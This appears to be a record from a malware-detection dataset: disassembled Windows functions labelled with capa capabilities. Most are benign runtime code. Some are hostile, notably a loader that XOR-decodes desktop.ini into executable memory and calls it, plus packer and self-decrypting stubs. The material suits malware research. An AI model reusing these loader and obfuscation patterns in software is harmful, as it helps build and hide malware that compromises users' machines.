joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ac0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401b20
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40c058]
test esi, esi
jle 0x401c40
mov eax, dword [0x40c05c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401b54
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401bd7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b40
mov dword [esp], ebx
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401c67
mov eax, dword [0x40c05c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x40c05c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c47
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401bd0
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401be0
add dword [0x40c058], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40c05c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401bd0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401b5e
mov eax, dword [0x40c05c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
nop
Function at 0x4022a0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [esp + 0x34]
cmp eax, 2
je 0x4023d0
ja 0x4022e8
test eax, eax
je 0x402368
mov eax, dword [0x40c070]
test eax, eax
je 0x402450
mov dword [0x40c070], 1
add esp, 0x1c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 3
jne 0x4022d5
mov eax, dword [0x40c070]
test eax, eax
je 0x4022d5
mov dword [esp], 0x40c074
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40c06c]
sub esp, 4
test ebx, ebx
je 0x40234d
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call edi
mov ebp, eax
sub esp, 4
call esi
test ebp, ebp
je 0x402478
test eax, eax
jne 0x402478
mov eax, dword [ebx + 4]
mov dword [esp], ebp
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402320
mov dword [esp], 0x40c074
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x4022d5
mov eax, dword [0x40c070]
test eax, eax
jne 0x4023e8
mov eax, dword [0x40c070]
cmp eax, 1
jne 0x4022d5
mov ebx, dword [0x40c06c]
test ebx, ebx
je 0x4023a1
lea esi, [esi]
mov eax, ebx
mov ebx, dword [ebx + 8]
mov dword [esp], eax
call sym._free
test ebx, ebx
jne 0x402390
mov dword [0x40c06c], 0
mov dword [0x40c070], 0
mov dword [esp], 0x40c074
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
sub esp, 4
jmp 0x4022d5
call sym.__fpreset
add esp, 0x1c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x40c074
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40c06c]
sub esp, 4
test ebx, ebx
je 0x402435
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov eax, dword [ebx]
mov dword [esp], eax
call edi
sub esp, 4
mov ebp, eax
call esi
test eax, eax
jne 0x402468
test ebp, ebp
je 0x402468
mov eax, dword [ebx + 4]
mov dword [esp], ebp
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402410
mov dword [esp], 0x40c074
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x402371
mov dword [esp], 0x40c074
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
sub esp, 4
jmp 0x4022cb
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402410
jmp 0x402435
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402320
jmp 0x40234d

Function at 0x4025a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4025c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4025d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4025c5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402618
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40260e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40261a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402600
xor eax, eax
pop ebx
pop esi
ret
Function at 0x420b50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp + 8], eax
mov eax, dword [0x4200ac]
push esi
push edi
test eax, eax
jne 0x420bcd
mov esi, 0x420284
mov edx, dword [esi]
lea eax, [ebp - 0x24]
mov cl, byte [edx]
test cl, cl
je 0x420b8b
lea edi, [ebp - 0x24]
sub edx, edi
xor cl, 0x55
mov byte [eax], cl
mov cl, byte [edx + eax + 1]
inc eax
test cl, cl
jne 0x420b7d
lea ecx, [ebp - 0x24]
mov byte [eax], 0
push ecx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov edx, dword [esi - 4]
add esi, 8
cmp esi, 0x42029c
mov dword [edx], eax
jl 0x420b6d
mov ecx, dword [0x4200ac]
mov eax, dword [sym.imp.kernel32.dll_GetModuleHandleA]
push 0
push 0x4202ac
push ecx
mov dword [0x4200a4], eax
call fcn.00420d80
add esp, 0xc
mov dword [0x4200a8], eax
mov dword [ebp - 4], 0
mov esi, 0x420284
mov edx, dword [esi]
mov cl, byte [edx]
test cl, cl
je 0x420c16
mov eax, dword [ebp + 8]
mov al, byte [eax]
test al, al
je 0x420c16
cmp al, 0x5a
jg 0x420c02
cmp al, 0x41
jl 0x420c02
movsx edi, al
add edi, 0x20
movsx ebx, cl
xor edi, 0x55
cmp ebx, edi
je 0x420c08
xor al, 0x55
cmp cl, al
jne 0x420c16
mov ecx, dword [ebp + 8]
inc edx
inc ecx
mov dword [ebp + 8], ecx
mov cl, byte [edx]
test cl, cl
jne 0x420be1
cmp byte [edx], 0
je 0x420c36
mov edx, dword [ebp - 4]
add esi, 8
inc edx
cmp esi, 0x42029c
mov dword [ebp - 4], edx
jl 0x420bd9
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov edx, dword [ecx*8 + 0x420280]
mov eax, dword [edx]
mov esp, ebp
pop ebp
ret

Function at 0x421570
Capabilities:
Encode data using xor

Disassembly:
int 0xc6
nop
wait
sti
mov esi, 0xd8da0938
adc ebx, dword [edx - 0x1d790d3e]
jmp 0x17c1888f
invalid
ja 0x42152d
sub dword [esi + 0x64c95b0e], edx
lahf
out 0x6f, al
or eax, 0x76768cae
std
jnp 0x42152c
jo 0x4215e1
mov word [ecx - 0x1def387f], cs
adc dl, ah
adc al, 0xb4
xor al, 0x7f
inc ebp
jo 0x42158a
loopne 0x4215c0
mov dh, 0xf2
ficomp dword [edi]
mov dh, 0xad
cmpsb byte [esi], byte es:[edi]
pushfd
mov ah, bh
sub byte [ebp + edi*2 - 0x3c], 0xa2
adc eax, 0x48da7691
xor byte [edi - 0x74], 0xeb
add al, 0xa5
test al, 0xd7
inc byte [ebx - 0x63]
pminub mm3, qword [esp + eax*8 - 0xf]
int 0xd2
ret
enter 0x6d3a, 0x22
fcmovnb st(0), st(5)
outsd dx, dword [esi]
push esi
and bl, bl
lds ebp, [edi + 0x56]
outsb dx, byte [esi]
aad 0xe3
lcall 0x2a4b, 0xc49bbe77
leave
cld
test eax, 0x515528d
ljmp 0x9806
mov eax, 0x239da530
xchg ebx, eax
jnp 0x42162f
or ecx, dword [ebx*2 + 0x1488614b]
adc esi, dword [ebx + 0x565165b5]
add al, 0x84
jecxz 0x4215c3
invalid
mov dword [ecx - 0x7b], edx
in al, 0x81
push esp
movsd dword es:[edi], dword [esi]
inc edx
jg 0x42168e
pop dword [eax + 0x1d]
push edx
bound ebx, qword [edi]
mov eax, dword [0x1fff84c9]
push ds
mov bl, 0x6c
stosb byte es:[edi], al
int3
sal byte [eax], 0x54
mov cl, 0xb2
pop eax
mov al, byte [0xeeb4f2fb]
inc eax
cmp dl, bh
fsubr dword [eax + 7]
insb byte es:[edi], dx
xchg edi, ecx
jl 0x42162a
jp 0x4216b5
out dx, al
ret
out dx, al
mov edx, 0xcaeb015b
cmc
cmp ah, byte [edi]
sub esi, dword [edi + 0x2990ae34]
dec esp
mov eax, 0x6f4d366f
iretd
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
popal
nop
nop
nop
nop
jmp loc.00401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404548
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00406804
test esi, esi
jne 0x404580
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00406940
jmp 0x40459e
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.0040448c
mov edi, eax
test esi, esi
je 0x40459e
cmp dword [ebx], 0
je 0x40459e
dec esi
jmp 0x404587
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x405dc8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4ac054], 0
je 0x405e29
cmp word [0x4ac330], 0xd7b2
jne 0x405df1
cmp dword [0x4ac338], 0
jbe 0x405df1
mov eax, 0x4ac32c
call dword [0x4ac348]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x405e54
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4a9030], 0
jne 0x405e45
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x405fb4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x4a9034], 0
je 0x405fda
mov edx, esi
mov eax, ebx
call dword [0x4a9034]
jmp 0x405fe9
mov eax, 8
call fcn.004041d4
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x4ac055], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x405f7c
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x40867c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4087e3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00406804
cmp si, word [0x4a97dc]
jb 0x408716
cmp si, word [0x4a99dc]
ja 0x408716
mov edi, 0x40
xor eax, eax
mov dword [ebp - 0xc], eax
cmp edi, dword [ebp - 0xc]
jb 0x408716
mov ebx, dword [ebp - 0xc]
add ebx, edi
shr ebx, 1
cmp si, word [ebx*8 + 0x4a97dc]
jae 0x4086f0
mov edi, ebx
dec edi
jmp 0x408711
cmp si, word [ebx*8 + 0x4a97dc]
jbe 0x408700
inc ebx
mov dword [ebp - 0xc], ebx
jmp 0x408711
mov edx, dword [ebp - 8]
mov eax, dword [ebx*8 + 0x4a97e0]
call fcn.0040858c
jmp 0x408716
cmp edi, dword [ebp - 0xc]
jae 0x4086da
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x4087c5
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x4087c5
push 0x55
lea eax, [ebp - 0xb6]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x160]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x164]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.004069ec
push dword [ebp - 0x164]
push 0x408800
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x160]
mov ecx, 0x55
call fcn.004069ec
push dword [ebp - 0x168]
push 0x408810
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.004069ec
push dword [ebp - 0x16c]
mov eax, dword [ebp - 8]
mov edx, 5
call fcn.00406da4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4087ea
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.004067fc
ret
Function at 0x40899c
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x408aa1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4aeb5c
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x4aeb74]
jne 0x4089e8
mov eax, esi
mov edx, 0x4aeb78
mov ecx, 0x55
call fcn.004069ec
push 0x4aeb5c
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x408a8b
push 0x4aeb5c
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
xor edx, edx
call fcn.00406804
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x408a59
cmp byte [0x4aeb58], 0
je 0x408a1e
mov edx, esi
mov eax, ebx
call fcn.0040887c
jmp 0x408a59
mov edx, esi
mov eax, ebx
call fcn.0040867c
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x408a59
cmp dword [esi], 0
je 0x408a42
mov eax, esi
mov edx, 0x408abc
call fcn.00406c00
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040867c
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00406c00
push 0x4aeb5c
call sub.kernel32.dll_EnterCriticalSection
mov word [0x4aeb74], bx
push 0xaa
mov eax, dword [esi]
call fcn.00406890
push eax
push 0x4aeb78
call sub.kernel32.dll_lstrcpynW
push 0x4aeb5c
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408aa8
lea eax, [ebp - 4]
call fcn.004067f4
ret
Function at 0x408ce0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004067ec
xor eax, eax
push ebp
push 0x408ec5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x408d20
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x408d3a
push 0x105
mov eax, dword [ebp - 4]
call fcn.00406890
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x408eaf
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x408ed4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x408dc9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x408ed4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x408dc9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x408f08
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x408dc9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x408f3c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x408eaf
xor eax, eax
push ebp
push 0x408ea8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.00408ae4
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x408e38
mov eax, dword [ebp - 0x10]
call fcn.004041d4
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004069b0
jmp 0x408e83
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x408f7c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x408e83
mov eax, dword [ebp - 0x10]
call fcn.004041d4
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x408f7c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004069b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408eaf
cmp dword [ebp - 8], 0
je 0x408e9e
mov eax, dword [ebp - 8]
call fcn.004041f0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ecc
lea eax, [ebp - 4]
call fcn.004067f4
ret
Function at 0x409190
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
mov esi, ecx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
call fcn.004067ec
mov eax, dword [ebp - 0x21c]
call fcn.004067ec
lea edi, [ebp - 0x210]
xor eax, eax
push ebp
push 0x40932f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor edx, edx
call fcn.00406804
xor ebx, ebx
push 0x105
mov eax, dword [ebp - 0x21c]
call fcn.00406890
push eax
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrcpynW
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrlenW
add eax, eax
lea edx, [ebp - 0x20a]
add eax, edx
sub eax, 2
mov dword [edi], eax
jmp 0x409230
sub dword [edi], 2
mov eax, dword [edi]
cmp word [eax], 0x2e
je 0x409242
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
jne 0x40922d
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
je 0x4092fb
add dword [edi], 2
mov eax, dword [edi]
mov word [eax], 0
lea eax, [ebp - 0x20a]
mov edx, dword [edi]
sub edx, eax
sar edx, 1
jns 0x40926b
adc edx, 0
mov eax, 0x105
sub eax, edx
mov dword [ebp - 0x214], eax
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x218]
call fcn.00408ce0
cmp dword [ebp - 0x220], 0
je 0x4092a3
push ebp
mov eax, dword [ebp - 0x220]
call fcn.00409084
pop ecx
mov ebx, eax
jmp 0x4092fb
push ebp
call sub.kernel32.dll_GetUserDefaultUILanguage
lea edx, [ebp - 0x224]
call fcn.0040899c
mov eax, dword [ebp - 0x224]
call fcn.00409084
pop ecx
mov ebx, eax
test bl, bl
jne 0x4092ee
cmp byte [0x4aeb58], 0
jne 0x4092ee
push ebp
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 0x228]
call fcn.0040899c
mov eax, dword [ebp - 0x228]
call fcn.00409084
pop ecx
mov ebx, eax
test bl, bl
jne 0x4092fb
push ebp
call fcn.00409134
pop ecx
mov ebx, eax
test bl, bl
je 0x409311
mov eax, esi
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.004069ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409336
lea eax, [ebp - 0x228]
mov edx, 5
call fcn.004067fc
ret

Function at 0x409aa8
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret
Function at 0x40c9b8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
mov esi, 0x4aec50
push 0xa
push 0x40ca4c
mov eax, dword [0x4aec40]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
jne 0x40c9dc
call fcn.00417484
push ebx
mov eax, dword [0x4aec40]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
test ebx, ebx
jne 0x40c9f3
call fcn.00417484
push ebx
call sub.kernel32.dll_LockResource
mov dword [esi], eax
cmp dword [esi], 0
jne 0x40ca05
call fcn.00417484
mov eax, dword [esi]
mov edx, dword [esi]
mov ecx, edx
add ecx, dword [eax]
mov dword [0x4aec54], ecx
mov ecx, edx
add ecx, dword [eax + 4]
mov dword [0x4aec58], ecx
mov ecx, edx
add ecx, dword [eax + 8]
mov dword [0x4aec5c], ecx
mov ecx, edx
add ecx, dword [eax + 0xc]
mov dword [0x4aec60], ecx
mov ecx, edx
add ecx, dword [eax + 0x10]
mov dword [0x4aec64], ecx
add edx, dword [eax + 0x14]
mov dword [0x4aec68], edx
pop esi
pop ebx
ret

Function at 0x4102fc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x4103a5
test eax, edx
je 0x4103a8
push 0
push 0
cmp word [eax - 0xa], 2
je 0x410325
push edx
mov edx, eax
mov eax, esp
call fcn.00406a08
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x41033b
push eax
lea eax, [esp + 8]
call fcn.00406a08
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x41034a
movzx eax, word [eax]
sub eax, ecx
jmp 0x410371
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x41038b
add ecx, 4
js 0x410362
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x410388
push eax
mov eax, ecx
mov edx, 2
call fcn.00406054
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x41036f
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x410371
xor eax, eax
ret
test eax, eax
je 0x4103b8
test edx, edx
jne 0x41030c
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x414954
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x41498d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00406940
jmp 0x414996
mov eax, ebx
mov edx, esi
call fcn.00406804
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4149a0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x4149c2
movzx eax, word [esp]
jmp 0x4149c4
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret